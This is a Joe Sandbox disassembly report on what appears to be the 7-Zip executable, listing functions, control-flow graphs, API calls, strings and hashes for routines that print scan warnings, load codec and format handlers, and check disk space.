                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$H_prolog_fileno_isatty$Process$AffinityCurrentMaskwcscmp
                                                                                                                                                                                                                                                                    • String ID: @46v$SeLockMemoryPrivilege$Unsupported switch postfix -bb$Unsupported switch postfix -stm$Unsupported switch postfix for -slp
                                                                                                                                                                                                                                                                    • API String ID: 3459974080-4157481046
                                                                                                                                                                                                                                                                    • Opcode ID: 9129beb8aba4307a4ff644fbfe4bab378c84cdf00eefc1e59aa318149f7adc43
                                                                                                                                                                                                                                                                    • Instruction ID: 6830202c57a3669f2fb5068eb0a7e87bd1130d9ad19eeffd2469e3d91721cb95
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9129beb8aba4307a4ff644fbfe4bab378c84cdf00eefc1e59aa318149f7adc43
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E891E579501385DFDB10EF74C484B99BFB0BF09345B1484A9E8959B352DB30EE88DB68
                                                                                                                                                                                                                                                                    Function 00C80461 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 179COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1329 c80461-c8048d call c836f0 1332 c804ef-c804f5 1329->1332 1333 c8048f-c80491 1329->1333 1334 c805d9-c805db 1332->1334 1335 c804fb-c804fd 1332->1335 1336 c804e8 1333->1336 1337 c80493-c804e6 call c51c6a fputs call c51c6a * 2 call c80693 fputs call c51eda call c51c6a 1333->1337 1338 c8067f-c80681 1334->1338 1339 c805e1-c805f1 call c528a5 1334->1339 1335->1334 1340 c80503-c80506 1335->1340 1336->1332 1337->1336 1342 c80682-c80690 1338->1342 1349 c805f3-c80601 call c52c69 call c52bba 1339->1349 1350 c80606-c8060a 1339->1350 1340->1334 1344 c8050c-c8050f 1340->1344 1344->1334 1347 c80515-c8051d 1344->1347 1351 c8051f-c80523 1347->1351 1352 c80560-c80562 1347->1352 1349->1350 1360 c80628-c8062c 1350->1360 1361 c8060c-c80626 call c52c2d call c52bba 1350->1361 1357 c80529-c8052f 1351->1357 1358 c805d1-c805d4 1351->1358 1354 c805ca 1352->1354 1355 c80564-c805b5 call c51c6a fputs call c51c6a * 2 call c80693 fputs call c51eda fputs 1352->1355 1354->1358 1408 c805c3-c805c5 call c51c6a 1355->1408 1409 c805b7-c805c2 fputc 1355->1409 1357->1358 1366 c80535-c8053a 1357->1366 1358->1342 1362 c8065a-c8065e 1360->1362 1363 c8062e-c80655 call c54ad4 call c52c2d call c51a79 call c52bba 1360->1363 1361->1360 1372 c80660-c80671 call c51c7d * 2 1362->1372 1373 c80676-c8067e call c51a79 1362->1373 1363->1362 1366->1358 1374 c80540-c80542 1366->1374 1372->1373 1373->1338 1380 c8054b-c80559 fputs call c51c6a 1374->1380 1381 c80544-c80546 call c51c5b 1374->1381 1397 c8055e 1380->1397 1381->1380 1397->1358 1408->1354 1409->1408
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C80466
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C804D0
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51EDA: fputs.MSVCRT ref: 00C51EF4
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C804A1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C80693: __EH_prolog.LIBCMT ref: 00C80698
                                                                                                                                                                                                                                                                      • Part of subcall function 00C80693: fputs.MSVCRT ref: 00C806C1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C80693: fputs.MSVCRT ref: 00C80705
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C80553
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C80572
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C8059B
                                                                                                                                                                                                                                                                    • fputs.MSVCRT ref: 00C805AE
                                                                                                                                                                                                                                                                    • fputc.MSVCRT ref: 00C805BB
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51C6A: fputc.MSVCRT ref: 00C51C71
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$H_prologfputc
                                                                                                                                                                                                                                                                    • String ID: Error:$ F:v$ file$@F:v$Scan WARNINGS for files and folders:$Scan WARNINGS: $WARNING: Cannot open $WARNINGS for files:
                                                                                                                                                                                                                                                                    • API String ID: 3294964263-182816618
                                                                                                                                                                                                                                                                    • Opcode ID: 514e46e44464b2f935944e28df6cee3bc22fd8911ee9078bc37fa9a94005a25a
                                                                                                                                                                                                                                                                    • Instruction ID: 06dd1d36c1f6b294f50291cb0f7df9b63fc403b68876da3553ea65f817d488ee
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 514e46e44464b2f935944e28df6cee3bc22fd8911ee9078bc37fa9a94005a25a
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1F51DF35A002059BCF18FF54D896AAD73A1EF84306F24007EFC1266282DF716E88DB6D
                                                                                                                                                                                                                                                                    Function 00C6B386 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 271libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1411 c6b386-c6b3d3 call c836f0 GetProcAddress * 2 1414 c6b3d5-c6b3e0 GetProcAddress 1411->1414 1415 c6b3f1-c6b3ff GetProcAddress 1411->1415 1416 c6b405-c6b40a 1414->1416 1417 c6b3e2-c6b3ea 1414->1417 1415->1416 1418 c6b671 1415->1418 1416->1418 1420 c6b410-c6b441 call c6b6d8 call c6b875 1416->1420 1417->1416 1423 c6b3ec 1417->1423 1419 c6b673-c6b681 1418->1419 1427 c6b447-c6b46a call c6b771 1420->1427 1428 c6b682-c6b684 1420->1428 1423->1419 1433 c6b473-c6b48a call c580f1 call c6b99e 1427->1433 1434 c6b46c-c6b471 1427->1434 1430 c6b6c5-c6b6d6 call c6b99e 1428->1430 1430->1419 1447 c6b667-c6b66b 1433->1447 1434->1433 1436 c6b48f-c6b49b SysStringByteLen 1434->1436 1439 c6b686-c6b6a2 call c580f1 call c6b99e 1436->1439 1440 c6b4a1-c6b4ef call c580f1 * 2 call c528a5 * 2 call c6b875 1436->1440 1439->1419 1458 c6b6a4-c6b6a6 1440->1458 1459 c6b4f5-c6b507 call c6b875 1440->1459 1447->1418 1447->1420 1461 c6b6b3-c6b6c4 call c51a79 * 2 1458->1461 1459->1458 1465 c6b50d-c6b51b call c6afef 1459->1465 1461->1430 1469 c6b520-c6b550 call c6b78b call c6b7fd 1465->1469 1469->1458 1474 c6b556-c6b561 1469->1474 1475 c6b563 1474->1475 1476 c6b5a0-c6b5be call c6b8ee 1474->1476 1477 c6b56a-c6b586 call c6b78b 1475->1477 1482 c6b5c4-c6b5cb 1476->1482 1483 c6b6a8-c6b6b2 call c51a79 1476->1483 1484 c6b593-c6b59e 1477->1484 1485 c6b588-c6b58d 1477->1485 1486 c6b5d7-c6b5e5 call c6b8ee 1482->1486 1487 c6b5cd-c6b5d5 call c6c76c 1482->1487 1483->1461 1484->1476 1484->1477 1485->1484 1486->1483 1494 c6b5eb-c6b5f5 call c6b715 1486->1494 1495 c6b5fa-c6b613 call c6b7fd 1487->1495 1494->1495 1495->1483 1499 c6b619-c6b61c 1495->1499 1500 c6b61e-c6b625 1499->1500 1501 c6b629-c6b665 call c6c8c9 call c51a79 * 3 call c6b99e 1499->1501 1500->1501 1501->1447
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6B38B
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetHandlerProperty2), ref: 00C6B3B8
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetIsArc), ref: 00C6B3C4
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetNumberOfFormats), ref: 00C6B3DC
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetHandlerProperty), ref: 00C6B3F8
                                                                                                                                                                                                                                                                    • SysStringByteLen.OLEAUT32(?), ref: 00C6B492
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressProc$ByteH_prologStringfree
                                                                                                                                                                                                                                                                    • String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
                                                                                                                                                                                                                                                                    • API String ID: 655409697-3984264347
                                                                                                                                                                                                                                                                    • Opcode ID: 9e72ca67792df8476c1194aea4fb827a34aa7149b8f832dd429ef0e7151a0a5c
                                                                                                                                                                                                                                                                    • Instruction ID: e0233dd88020b6e5a8038efdf45e4cc58f53b1d92917ed6d62defb45d922f813
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9e72ca67792df8476c1194aea4fb827a34aa7149b8f832dd429ef0e7151a0a5c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9CA15A71D00219EBDF25EBA4CC81AEEB7B9BF44314F140069E815F3291DB709E8ADB65
                                                                                                                                                                                                                                                                    Function 00C6B19B Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 132libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1512 c6b19b-c6b1df GetProcAddress * 3 1513 c6b2a7-c6b2b2 GetProcAddress 1512->1513 1514 c6b1e5-c6b1f7 GetProcAddress 1512->1514 1517 c6b2b4-c6b2bc 1513->1517 1518 c6b2fe 1513->1518 1515 c6b207-c6b20f 1514->1515 1516 c6b1f9-c6b201 1514->1516 1515->1513 1519 c6b215 1515->1519 1516->1515 1520 c6b300-c6b304 1516->1520 1517->1520 1524 c6b2be-c6b2c2 1517->1524 1518->1520 1521 c6b21a-c6b234 call c6b305 1519->1521 1527 c6b239-c6b23b 1521->1527 1524->1518 1526 c6b2c4-c6b2d3 1524->1526 1526->1518 1531 c6b2d5 1526->1531 1527->1520 1528 c6b241-c6b258 call c6b305 1527->1528 1528->1520 1534 c6b25e-c6b298 call c6cb66 1528->1534 1533 c6b2d8-c6b2fc call c77cc7 1531->1533 1533->1518 1539 c6b217 1534->1539 1540 c6b29e-c6b2a4 1534->1540 1539->1521 1540->1513
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,CreateDecoder), ref: 00C6B1C0
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,CreateEncoder), ref: 00C6B1CC
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetMethodProperty), ref: 00C6B1D8
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetNumberOfMethods), ref: 00C6B1F3
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000004,GetHashers), ref: 00C6B2AE
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressProc
                                                                                                                                                                                                                                                                    • String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
                                                                                                                                                                                                                                                                    • API String ID: 190572456-73314117
                                                                                                                                                                                                                                                                    • Opcode ID: 60aee138c21c03cd1c4ad2a26744a10af76b6fd81fcec1e7cff71e46e87366ab
                                                                                                                                                                                                                                                                    • Instruction ID: 3908cb0323a10f416462dad16c2cf03561ef299c5fd077834e789b7d489d629d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 60aee138c21c03cd1c4ad2a26744a10af76b6fd81fcec1e7cff71e46e87366ab
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 21412972A00619ABCB24DFA5C9C1AAEBBF5FF48304F114065D911EB255DB70EE45CF90
                                                                                                                                                                                                                                                                    Function 00C761FF Relevance: 17.4, APIs: 6, Strings: 3, Instructions: 1613timeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C76204
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8DA10), ref: 00C76270
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8D068), ref: 00C768DA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: malloc.MSVCRT ref: 00C51A58
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: _CxxThrowException.MSVCRT(?,00C8CFA0), ref: 00C51A72
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,00000000,?,?), ref: 00C76A18
                                                                                                                                                                                                                                                                      • Part of subcall function 00C745EF: __EH_prolog.LIBCMT ref: 00C745F4
                                                                                                                                                                                                                                                                      • Part of subcall function 00C543EC: __EH_prolog.LIBCMT ref: 00C543F1
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(00000000,00C8DA10), ref: 00C762A1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5150C: __EH_prolog.LIBCMT ref: 00C51511
                                                                                                                                                                                                                                                                      • Part of subcall function 00C77C29: memcpy.MSVCRT(00000000,?,?), ref: 00C77CAB
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C795ED: __EH_prolog.LIBCMT ref: 00C795F2
                                                                                                                                                                                                                                                                    • CompareFileTime.KERNEL32(?,?), ref: 00C7738F
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$ExceptionThrow$CompareErrorFileLastTimefreemallocmemcpy
                                                                                                                                                                                                                                                                    • String ID: There are unclosed input file:$cannot open SFX module$cannot open file
                                                                                                                                                                                                                                                                    • API String ID: 4218252476-3200144387
                                                                                                                                                                                                                                                                    • Opcode ID: 55f86a25a0e0c4c8220038292a52c03fad2e850b44ec8e875511bc63b7cc5d0b
                                                                                                                                                                                                                                                                    • Instruction ID: 8fa8ee40375e8011be591e70e6f951a64858021c329d3ba534b92e63229fd25e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 55f86a25a0e0c4c8220038292a52c03fad2e850b44ec8e875511bc63b7cc5d0b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4EE2AF71904249DFCF14DFA8C884AEDBBB4BF09314F2885ADE859AB252C7309E85DF51
                                                                                                                                                                                                                                                                    Function 00C55C9C Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 350COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2132 c55c9c-c55cba call c836f0 call c570e6 2137 c55d61-c55d6c call c57356 2132->2137 2138 c55cc0-c55ce0 call c55bfc call c529e4 call c57261 2132->2138 2144 c55f23-c55f39 call c5728a 2137->2144 2145 c55d72-c55d78 2137->2145 2157 c55ce2-c55ce7 2138->2157 2158 c55d28-c55d3b call c56844 2138->2158 2152 c55f3e-c55f4b call c57056 2144->2152 2153 c55f3b-c55f3d 2144->2153 2145->2144 2147 c55d7e-c55da1 call c528e8 * 2 2145->2147 2168 c55da3-c55da9 2147->2168 2169 c55dae-c55db4 2147->2169 2164 c55fa0-c55fa7 2152->2164 2165 c55f4d-c55f53 2152->2165 2153->2152 2157->2158 2161 c55ce9-c55d16 call c57d72 2157->2161 2176 c55d41-c55d45 2158->2176 2177 c55d3d-c55d3f 2158->2177 2161->2158 2186 c55d18-c55d23 2161->2186 2172 c55fb3-c55fba 2164->2172 2173 c55fa9-c55fad 2164->2173 2165->2164 2174 c55f55-c55f61 call c55c1f 2165->2174 2168->2169 2170 c55db6-c55dc9 call c5208c 2169->2170 2171 c55dcb-c55dd3 call c52c69 2169->2171 2170->2171 2191 c55dd8-c55de5 call c57261 2170->2191 2171->2191 2182 c55fec-c55ff3 call c57204 2172->2182 2183 c55fbc-c55fc6 call c55c1f 2172->2183 2173->2172 2181 c56091-c56096 call c55869 2173->2181 2174->2181 2200 c55f67-c55f6a 2174->2200 2178 c55d47-c55d4f 2176->2178 2179 c55d52 2176->2179 2187 c55d54-c55d5c call c56415 2177->2187 2178->2179 2179->2187 2199 c5609b 2181->2199 2182->2181 2208 c55ff9-c56004 2182->2208 2183->2181 2204 c55fcc-c55fcf 2183->2204 2195 c560ec-c560ee 2186->2195 2203 c560a5 2187->2203 2210 c55de7-c55dea 2191->2210 2211 c55e1d-c55e27 call c55c9c 2191->2211 2201 c560a7-c560b5 2195->2201 2206 c5609d-c560a0 call c55849 2199->2206 2200->2181 2207 c55f70-c55f8d call c55bfc call c529e4 2200->2207 2203->2201 2204->2181 2209 c55fd5-c55fea call c55bfc 2204->2209 2206->2203 2230 c55f99-c55f9b 2207->2230 2237 c55f8f-c55f94 2207->2237 2208->2181 2214 c5600a-c56011 call c5700e 2208->2214 2209->2230 2217 c55dec-c55def 2210->2217 2218 c55df8-c55e10 call c55bfc 2210->2218 2228 c55f11-c55f22 call c51a79 * 2 2211->2228 2229 c55e2d 2211->2229 2214->2181 2227 c56013-c56046 call c528e8 call c51089 * 2 call c55869 2214->2227 2217->2211 2224 c55df1-c55df6 2217->2224 2234 c55e2f-c55e55 call c52978 call c528a5 2218->2234 2236 c55e12-c55e1b call c52a48 2218->2236 2224->2211 2224->2218 2259 c56048-c5605e wcscmp 2227->2259 2260 c5606b-c56078 call c55c1f 2227->2260 2228->2144 2229->2234 2230->2206 2250 c55e5a-c55e70 call c55bbc 2234->2250 2236->2234 2237->2230 2256 c55ea6-c55ea8 2250->2256 2257 c55e72-c55e76 2250->2257 2258 c55ee0-c55f0c call c51a79 * 2 call c55849 call c51a79 * 2 2256->2258 2261 c55e9e-c55ea0 SetLastError 2257->2261 2262 c55e78-c55e85 call c51f90 2257->2262 2258->2203 2263 c56067 2259->2263 2264 c56060-c56065 2259->2264 2273 c560b8-c560c2 call c55bfc 2260->2273 2274 c5607a-c5607d 2260->2274 2261->2256 2275 c55e87-c55e9c call c51a79 call c528a5 2262->2275 2276 c55eaa-c55eb0 2262->2276 2263->2260 2268 c560d6-c560e7 call c529e4 call c51a79 call c55849 2264->2268 2268->2195 2298 c560c4-c560c7 2273->2298 2299 c560c9 2273->2299 2279 c56084-c56090 call c51a79 2274->2279 2280 c5607f-c56082 2274->2280 2275->2250 2283 c55ec3-c55ede call c52c2d 2276->2283 2284 c55eb2-c55eb7 2276->2284 2279->2181 2280->2273 2280->2279 2283->2258 2284->2283 2290 c55eb9-c55ebf 2284->2290 2290->2283 2300 c560d0-c560d3 2298->2300 2299->2300 2300->2268
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C55CA1
                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000002,?,00000000,00000001,:$DATA,00000001,00000000,?,?,00000001), ref: 00C55EA0
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,7591F5D0,000000FF,00000000,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57D8E
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetProcAddress.KERNEL32(00000000), ref: 00C57D95
                                                                                                                                                                                                                                                                      • Part of subcall function 00C57D72: GetDiskFreeSpaceW.KERNEL32(00000001,00C56705,?,?,?,?,?,?,?,?,?,?,?,?,00C56705,00000001), ref: 00C57DE5
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressDiskErrorFreeH_prologHandleLastModuleProcSpace
                                                                                                                                                                                                                                                                    • String ID: :$:$DATA$\
                                                                                                                                                                                                                                                                    • API String ID: 3991446108-1004618218
                                                                                                                                                                                                                                                                    • Opcode ID: abaa446e56d78590848d67fd83b46c0a216b554c50a4f8e560090a8e7316bedc
                                                                                                                                                                                                                                                                    • Instruction ID: aa9287ae5b93cfc27ab423bb5365f06482050f8368ebdef85ab9ea3fd67ed605
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: abaa446e56d78590848d67fd83b46c0a216b554c50a4f8e560090a8e7316bedc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 17D10439900608DECF24EFA4C8A5AEDB7B1AF54316F104119EC62672D2DB716ACDE718
                                                                                                                                                                                                                                                                    Function 00C6BBF8 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 212libraryloaderCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2307 c6bbf8-c6bc2f call c836f0 call c6c910 2312 c6bd77-c6bdb9 call c6beab call c5286e call c6b9e0 call c51a79 2307->2312 2313 c6bc35 2307->2313 2331 c6bdbf-c6bdc2 2312->2331 2332 c6be8d-c6bea6 call c51a79 2312->2332 2315 c6bc3c-c6bc95 call c6b6d8 call c52b46 call c528a5 * 2 2313->2315 2333 c6bc97-c6bc9b call c52b46 2315->2333 2334 c6bca0-c6bca5 2315->2334 2336 c6bdc4-c6bdcd call c529e4 2331->2336 2337 c6bdd2-c6bdff call c5286e call c6bb08 call c51a79 2331->2337 2333->2334 2340 c6bca7-c6bcab call c52b46 2334->2340 2341 c6bcb0-c6bcf9 call c6afef call c51a79 * 2 2334->2341 2336->2337 2337->2332 2356 c6be05-c6be1c call c5286e call c6bb08 2337->2356 2340->2341 2357 c6bd0d-c6bd31 call c5b047 call c56fd8 2341->2357 2358 c6bcfb-c6bd0b call c6b715 2341->2358 2367 c6be21-c6be32 call c51a79 2356->2367 2366 c6bd43-c6bd71 call c6c8c9 call c6b99e 2357->2366 2373 c6bd33-c6bd40 memcpy 2357->2373 2358->2366 2366->2312 2366->2315 2367->2332 2376 c6be34-c6be3d 2367->2376 2373->2366 2378 c6be3f-c6be42 2376->2378 2379 c6be4c 2376->2379 2380 c6be4f-c6be52 2378->2380 2381 c6be44-c6be4a 2378->2381 2379->2380 2382 c6be54-c6be5a 2380->2382 2383 c6be8b 2380->2383 2381->2379 2381->2380 2382->2383 2384 c6be5c-c6be77 GetProcAddress 2382->2384 2383->2332 2385 c6be80-c6be89 2384->2385 2386 c6be79-c6be7e 2384->2386 2385->2383 2385->2384 2386->2385 2388 c6bea7-c6bea9 2386->2388 2388->2332
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6BBFD
                                                                                                                                                                                                                                                                    • memcpy.MSVCRT(00000000,?,?,?,?,?,?,00000050,00000000,00000000), ref: 00C6BD3B
                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetCodecs), ref: 00C6BE6C
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AddressH_prologProcmemcpy
                                                                                                                                                                                                                                                                    • String ID: Codecs\$Formats\$SetCodecs
                                                                                                                                                                                                                                                                    • API String ID: 1477616095-1934353212
